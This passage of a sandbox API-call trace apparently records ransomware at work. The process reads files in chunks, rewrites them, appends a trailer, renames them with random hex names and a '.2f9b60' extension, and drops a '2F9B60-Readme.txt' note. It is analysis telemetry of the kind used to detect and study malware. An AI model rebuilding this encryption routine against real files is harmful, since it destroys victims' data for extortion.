BaseAddress=0x41ca6910) returned 1 [0133.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0133.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0133.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1cd97d00 [0133.636] SetFilePointerEx (in: hFile=0x1b70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0133.636] WriteFile (in: hFile=0x1b70, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2d3ff670, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2d3ff670*=0x128, lpOverlapped=0x0) returned 1 [0133.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd976c0 [0133.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0133.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267350 [0133.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267350) returned 1 [0133.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9f270 [0133.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267350 [0133.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0133.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267380) returned 1 [0133.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0133.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0133.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6d) returned 0x1b79ddf0 [0133.641] sprintf (in: _Dest=0x1b79ddf0, _Format="%c%c" | out: _Dest="fa") returned 2 [0133.641] sprintf (in: _Dest=0x1b79ddf2, _Format="%c%c" | out: _Dest="3f") returned 2 [0133.641] sprintf (in: _Dest=0x1b79ddf4, _Format="%c%c" | out: _Dest="81") returned 2 [0133.641] sprintf (in: _Dest=0x1b79ddf6, _Format="%c%c" | out: _Dest="96") returned 2 [0133.641] sprintf (in: _Dest=0x1b79ddf8, _Format="%c%c" | out: _Dest="a4") returned 2 [0133.641] sprintf (in: _Dest=0x1b79ddfa, _Format="%c%c" | out: _Dest="20") returned 2 [0133.641] sprintf (in: _Dest=0x1b79ddfc, _Format="%c%c" | out: _Dest="11") returned 2 [0133.642] sprintf (in: _Dest=0x1b79ddfe, _Format="%c%c" | out: _Dest="80") returned 2 [0133.642] sprintf (in: _Dest=0x1b79de00, _Format="%c%c" | out: _Dest="a2") returned 2 [0133.642] sprintf (in: _Dest=0x1b79de02, _Format="%c%c" | out: _Dest="03") returned 2 [0133.642] sprintf (in: _Dest=0x1b79de04, _Format="%c%c" | out: _Dest="53") returned 2 [0133.642] sprintf (in: _Dest=0x1b79de06, _Format="%c%c" | out: _Dest="ee") returned 2 [0133.642] sprintf (in: _Dest=0x1b79de08, _Format="%c%c" | out: _Dest="08") returned 2 [0133.642] sprintf (in: _Dest=0x1b79de0a, _Format="%c%c" | out: _Dest="90") returned 2 [0133.642] sprintf (in: _Dest=0x1b79de0c, _Format="%c%c" | out: _Dest="21") returned 2 [0133.642] sprintf (in: _Dest=0x1b79de0e, _Format="%c%c" | out: _Dest="d3") returned 2 [0133.642] sprintf (in: _Dest=0x1b79de10, _Format="%c%c" | out: _Dest="c7") returned 2 [0133.642] sprintf (in: _Dest=0x1b79de12, _Format="%c%c" | out: _Dest="c2") returned 2 [0133.642] sprintf (in: _Dest=0x1b79de14, _Format="%c%c" | out: _Dest="6d") returned 2 [0133.642] sprintf (in: _Dest=0x1b79de16, _Format="%c%c" | out: _Dest="94") returned 2 [0133.642] sprintf (in: _Dest=0x1b79de18, _Format="%c%c" | out: _Dest="88") returned 2 [0133.642] sprintf (in: _Dest=0x1b79de1a, _Format="%c%c" | out: _Dest="68") returned 2 [0133.642] sprintf (in: _Dest=0x1b79de1c, _Format="%c%c" | out: _Dest="ea") returned 2 [0133.642] sprintf (in: _Dest=0x1b79de1e, _Format="%c%c" | out: _Dest="31") returned 2 [0133.642] sprintf (in: _Dest=0x1b79de20, _Format="%c%c" | out: _Dest="35") returned 2 [0133.642] sprintf (in: _Dest=0x1b79de22, _Format="%c%c" | out: _Dest="ef") returned 2 [0133.643] sprintf (in: _Dest=0x1b79de24, _Format="%c%c" | out: _Dest="a7") returned 2 [0133.643] sprintf (in: _Dest=0x1b79de26, _Format="%c%c" | out: _Dest="ba") returned 2 [0133.643] sprintf (in: _Dest=0x1b79de28, _Format="%c%c" | out: _Dest="85") returned 2 [0133.643] sprintf (in: _Dest=0x1b79de2a, _Format="%c%c" | out: _Dest="90") returned 2 [0133.643] sprintf (in: _Dest=0x1b79de2c, _Format="%c%c" | out: _Dest="1c") returned 2 [0133.643] sprintf (in: _Dest=0x1b79de2e, _Format="%c%c" | out: _Dest="22") returned 2 [0133.643] sprintf (in: _Dest=0x1b79de30, _Format="%c%c" | out: _Dest="a1") returned 2 [0133.643] sprintf (in: _Dest=0x1b79de32, _Format="%c%c" | out: _Dest="e4") returned 2 [0133.643] sprintf (in: _Dest=0x1b79de34, _Format="%c%c" | out: _Dest="f8") returned 2 [0133.643] sprintf (in: _Dest=0x1b79de36, _Format="%c%c" | out: _Dest="23") returned 2 [0133.643] sprintf (in: _Dest=0x1b79de38, _Format="%c%c" | out: _Dest="7e") returned 2 [0133.643] sprintf (in: _Dest=0x1b79de3a, _Format="%c%c" | out: _Dest="8d") returned 2 [0133.643] sprintf (in: _Dest=0x1b79de3c, _Format="%c%c" | out: _Dest="fb") returned 2 [0133.643] sprintf (in: _Dest=0x1b79de3e, _Format="%c%c" | out: _Dest="5a") returned 2 [0133.643] sprintf (in: _Dest=0x1b79de40, _Format="%c%c" | out: _Dest="1c") returned 2 [0133.643] sprintf (in: _Dest=0x1b79de42, _Format="%c%c" | out: _Dest="cc") returned 2 [0133.643] sprintf (in: _Dest=0x1b79de44, _Format="%c%c" | out: _Dest="55") returned 2 [0133.643] sprintf (in: _Dest=0x1b79de46, _Format="%c%c" | out: _Dest="5d") returned 2 [0133.643] sprintf (in: _Dest=0x1b79de48, _Format="%c%c" | out: _Dest="fc") returned 2 [0133.643] sprintf (in: _Dest=0x1b79de4a, _Format="%c%c" | out: _Dest="07") returned 2 [0133.643] sprintf (in: _Dest=0x1b79de4c, _Format="%c%c" | out: _Dest="55") returned 2 [0133.644] sprintf (in: _Dest=0x1b79de4e, _Format="%c%c" | out: _Dest="ea") returned 2 [0133.644] sprintf (in: _Dest=0x1b79de50, _Format="%c%c" | out: _Dest="2f") returned 2 [0133.644] sprintf (in: _Dest=0x1b79de52, _Format="%c%c" | out: _Dest="1b") returned 2 [0133.644] sprintf (in: _Dest=0x1b79de54, _Format="%c%c" | out: _Dest="74") returned 2 [0133.644] sprintf (in: _Dest=0x1b79de56, _Format="%c%c" | out: _Dest="73") returned 2 [0133.644] sprintf (in: _Dest=0x1b79de58, _Format="%c%c" | out: _Dest="9a") returned 2 [0133.644] sprintf (in: _Dest=0x1b79de5a, _Format="%c%c" | out: _Dest="a9") returned 2 [0133.644] RtlInitAnsiString (in: DestinationString=0x2d3ff6e8, SourceString="fa3f8196a4201180a20353ee089021d3c7c26d948868ea3135efa7ba85901c22a1e4f8237e8dfb5a1ccc555dfc0755ea2f1b74739aa9" | out: DestinationString="fa3f8196a4201180a20353ee089021d3c7c26d948868ea3135efa7ba85901c22a1e4f8237e8dfb5a1ccc555dfc0755ea2f1b74739aa9") [0133.644] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d3ff6b8, SourceString="fa3f8196a4201180a20353ee089021d3c7c26d948868ea3135efa7ba85901c22a1e4f8237e8dfb5a1ccc555dfc0755ea2f1b74739aa9", AllocateDestinationString=1 | out: DestinationString="fa3f8196a4201180a20353ee089021d3c7c26d948868ea3135efa7ba85901c22a1e4f8237e8dfb5a1ccc555dfc0755ea2f1b74739aa9") returned 0x0 [0133.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1b799520 [0133.644] wcscat (in: _Dest=0x1193e0, _Source="fa3f8196a4201180a20353ee089" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\fa3f8196a4201180a20353ee089") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\fa3f8196a4201180a20353ee089" [0133.644] wcscat (in: _Dest=0x1193e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\fa3f8196a4201180a20353ee089.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\fa3f8196a4201180a20353ee089.2f9b60" [0133.644] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\fa3f8196a4201180a20353ee089.2f9b60", NtPathName=0x2d3ff690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\fa3f8196a4201180a20353ee089.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0133.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xde) returned 0x1b799610 [0133.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799610) returned 1 [0133.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42051230) returned 1 [0133.656] NtQueryInformationFile (in: FileHandle=0x1b70, IoStatusBlock=0x2d3ff6f8, FileInformation=0x2d3ff708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d3ff6f8, FileInformation=0x2d3ff708) returned 0x0 [0133.656] NtSetInformationFile (FileHandle=0x1b70, IoStatusBlock=0x2d3ff6f8, FileInformation=0x2d3ff708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0133.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1193e0) returned 1 [0133.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799520) returned 1 [0133.658] FlushFileBuffers (hFile=0x1b70) returned 1 [0138.531] CloseHandle (hObject=0x1b70) returned 1 [0138.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x2050d000 [0138.610] wcscpy (in: _Dest=0x2050d000, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\" [0138.610] wcscat (in: _Dest=0x2050d000, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\2F9B60-Readme.txt" [0138.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\2f9b60-readme.txt")) returned 0x20 [0139.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d000) returned 1 [0139.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107cc0) returned 1 Thread: id = 1898 os_tid = 0x1068 [0133.660] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\3FTxaZNBe2-ojiT34.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\42pt\\3ftxaznbe2-ojit34.csv")) returned 0x20 [0133.660] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\3FTxaZNBe2-ojiT34.csv", dwFileAttributes=0x20) returned 1 [0133.661] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\3FTxaZNBe2-ojiT34.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\42pt\\3ftxaznbe2-ojit34.csv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b8c [0133.661] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x250df680 | out: lpFileSize=0x250df680*=101173) returned 1 [0133.661] SetFilePointerEx (in: hFile=0x1b8c, liDistanceToMove=0x18b31, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.662] ReadFile (in: hFile=0x1b8c, lpBuffer=0x250df600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x250df648, lpOverlapped=0x0 | out: lpBuffer=0x250df600*, lpNumberOfBytesRead=0x250df648*=0x4, lpOverlapped=0x0) returned 1 [0133.663] SetFilePointerEx (in: hFile=0x1b8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267320 [0133.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672f0 [0133.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0133.663] NtQuerySystemTime (in: CurrentTime=0x250df540 | out: CurrentTime=0x250df540*=132462177389098000) returned 0x0 [0133.663] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x34726b6c [0133.663] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x3485cf0f [0133.663] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x5d16330d [0133.663] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x3abfd6ca [0133.663] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x400f0c64 [0133.663] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x20f5f441 [0133.663] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x3587fd5f [0133.663] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x2800534f [0133.664] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x7cff111d [0133.664] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x71f65182 [0133.664] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x32d1adec [0133.664] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x5f22e176 [0133.664] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x2884d444 [0133.664] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x39f8ff1a [0133.664] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x130bb32e [0133.664] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x490cfd26 [0133.664] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x4b5fdfcf [0133.664] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x2b68dcc [0133.664] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x2b75a54c [0133.664] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x5192b50 [0133.664] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x72c62228 [0133.664] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x59cd6edc [0133.664] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x6b850e37 [0133.664] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x42c33fbe [0133.664] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x25a20163 [0133.664] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x2361f68d [0133.664] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x5acbdc38 [0133.664] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x57d8a913 [0133.664] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x1b1ee6c9 [0133.664] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x7cae448f [0133.664] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x7dac8879 [0133.664] RtlRandomEx (in: Seed=0x250df530 | out: Seed=0x250df530) returned 0x4acb92f1 [0133.677] SetFilePointerEx (in: hFile=0x1b8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.677] ReadFile (in: hFile=0x1b8c, lpBuffer=0x41ca6910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x250df5a0, lpOverlapped=0x0 | out: lpBuffer=0x41ca6910*, lpNumberOfBytesRead=0x250df5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0133.678] SetFilePointerEx (in: hFile=0x1b8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0133.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0133.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267320 [0133.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267320) returned 1 [0133.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41caa520 [0133.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267320 [0133.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0133.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266de0) returned 1 [0133.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0133.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0133.679] WriteFile (in: hFile=0x1b8c, lpBuffer=0x41caa520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x250df5a0, lpOverlapped=0x0 | out: lpBuffer=0x41caa520*, lpNumberOfBytesWritten=0x250df5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0133.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41caa520) returned 1 [0133.685] SetFilePointerEx (in: hFile=0x1b8c, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.685] ReadFile (in: hFile=0x1b8c, lpBuffer=0x41ca6910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x250df5a0, lpOverlapped=0x0 | out: lpBuffer=0x41ca6910*, lpNumberOfBytesRead=0x250df5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0133.685] SetFilePointerEx (in: hFile=0x1b8c, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0133.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0133.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0133.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266de0) returned 1 [0133.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41caa520 [0133.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0133.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267350 [0133.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267350) returned 1 [0133.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0133.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0133.686] WriteFile (in: hFile=0x1b8c, lpBuffer=0x41caa520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x250df5a0, lpOverlapped=0x0 | out: lpBuffer=0x41caa520*, lpNumberOfBytesWritten=0x250df5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0133.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41caa520) returned 1 [0133.689] SetFilePointerEx (in: hFile=0x1b8c, liDistanceToMove=0x14f35, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.689] ReadFile (in: hFile=0x1b8c, lpBuffer=0x41ca6910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x250df5a0, lpOverlapped=0x0 | out: lpBuffer=0x41ca6910*, lpNumberOfBytesRead=0x250df5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0133.689] SetFilePointerEx (in: hFile=0x1b8c, liDistanceToMove=0x14f35, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0133.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0133.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267350 [0133.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267350) returned 1 [0133.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41caa520 [0133.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267350 [0133.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0133.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267380) returned 1 [0133.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0133.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0133.690] WriteFile (in: hFile=0x1b8c, lpBuffer=0x41caa520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x250df5a0, lpOverlapped=0x0 | out: lpBuffer=0x41caa520*, lpNumberOfBytesWritten=0x250df5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0133.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41caa520) returned 1 [0133.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1cd0 [0133.711] SetFilePointerEx (in: hFile=0x1b8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0133.711] WriteFile (in: hFile=0x1b8c, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x15c, lpNumberOfBytesWritten=0x250df650, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x250df650*=0x15c, lpOverlapped=0x0) returned 1 [0133.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0133.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0133.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267470 [0133.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267470) returned 1 [0133.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9fb30 [0133.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267470 [0133.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202674a0 [0133.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202674a0) returned 1 [0133.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0133.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0133.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1ced5620 [0133.717] sprintf (in: _Dest=0x1ced5620, _Format="%c%c" | out: _Dest="e3") returned 2 [0133.717] sprintf (in: _Dest=0x1ced5622, _Format="%c%c" | out: _Dest="f6") returned 2 [0133.717] sprintf (in: _Dest=0x1ced5624, _Format="%c%c" | out: _Dest="d2") returned 2 [0133.717] sprintf (in: _Dest=0x1ced5626, _Format="%c%c" | out: _Dest="37") returned 2 [0133.717] sprintf (in: _Dest=0x1ced5628, _Format="%c%c" | out: _Dest="67") returned 2 [0133.717] sprintf (in: _Dest=0x1ced562a, _Format="%c%c" | out: _Dest="81") returned 2 [0133.717] sprintf (in: _Dest=0x1ced562c, _Format="%c%c" | out: _Dest="2d") returned 2 [0133.717] sprintf (in: _Dest=0x1ced562e, _Format="%c%c" | out: _Dest="b1") returned 2 [0133.717] sprintf (in: _Dest=0x1ced5630, _Format="%c%c" | out: _Dest="2c") returned 2 [0133.717] sprintf (in: _Dest=0x1ced5632, _Format="%c%c" | out: _Dest="22") returned 2 [0133.717] sprintf (in: _Dest=0x1ced5634, _Format="%c%c" | out: _Dest="6c") returned 2 [0133.717] sprintf (in: _Dest=0x1ced5636, _Format="%c%c" | out: _Dest="92") returned 2 [0133.717] sprintf (in: _Dest=0x1ced5638, _Format="%c%c" | out: _Dest="25") returned 2 [0133.718] sprintf (in: _Dest=0x1ced563a, _Format="%c%c" | out: _Dest="2b") returned 2 [0133.718] sprintf (in: _Dest=0x1ced563c, _Format="%c%c" | out: _Dest="74") returned 2 [0133.718] sprintf (in: _Dest=0x1ced563e, _Format="%c%c" | out: _Dest="17") returned 2 [0133.718] sprintf (in: _Dest=0x1ced5640, _Format="%c%c" | out: _Dest="84") returned 2 [0133.718] sprintf (in: _Dest=0x1ced5642, _Format="%c%c" | out: _Dest="64") returned 2 [0133.718] sprintf (in: _Dest=0x1ced5644, _Format="%c%c" | out: _Dest="00") returned 2 [0133.718] sprintf (in: _Dest=0x1ced5646, _Format="%c%c" | out: _Dest="fb") returned 2 [0133.718] sprintf (in: _Dest=0x1ced5648, _Format="%c%c" | out: _Dest="dd") returned 2 [0133.718] sprintf (in: _Dest=0x1ced564a, _Format="%c%c" | out: _Dest="79") returned 2 [0133.718] sprintf (in: _Dest=0x1ced564c, _Format="%c%c" | out: _Dest="ac") returned 2 [0133.718] sprintf (in: _Dest=0x1ced564e, _Format="%c%c" | out: _Dest="62") returned 2 [0133.718] sprintf (in: _Dest=0x1ced5650, _Format="%c%c" | out: _Dest="26") returned 2 [0133.718] sprintf (in: _Dest=0x1ced5652, _Format="%c%c" | out: _Dest="f6") returned 2 [0133.718] sprintf (in: _Dest=0x1ced5654, _Format="%c%c" | out: _Dest="02") returned 2 [0133.718] sprintf (in: _Dest=0x1ced5656, _Format="%c%c" | out: _Dest="75") returned 2 [0133.718] sprintf (in: _Dest=0x1ced5658, _Format="%c%c" | out: _Dest="87") returned 2 [0133.718] sprintf (in: _Dest=0x1ced565a, _Format="%c%c" | out: _Dest="c7") returned 2 [0133.718] sprintf (in: _Dest=0x1ced565c, _Format="%c%c" | out: _Dest="d9") returned 2 [0133.718] sprintf (in: _Dest=0x1ced565e, _Format="%c%c" | out: _Dest="17") returned 2 [0133.718] sprintf (in: _Dest=0x1ced5660, _Format="%c%c" | out: _Dest="4b") returned 2 [0133.718] sprintf (in: _Dest=0x1ced5662, _Format="%c%c" | out: _Dest="27") returned 2 [0133.718] sprintf (in: _Dest=0x1ced5664, _Format="%c%c" | out: _Dest="6d") returned 2 [0133.718] sprintf (in: _Dest=0x1ced5666, _Format="%c%c" | out: _Dest="9d") returned 2 [0133.719] sprintf (in: _Dest=0x1ced5668, _Format="%c%c" | out: _Dest="f7") returned 2 [0133.719] sprintf (in: _Dest=0x1ced566a, _Format="%c%c" | out: _Dest="ba") returned 2 [0133.719] sprintf (in: _Dest=0x1ced566c, _Format="%c%c" | out: _Dest="35") returned 2 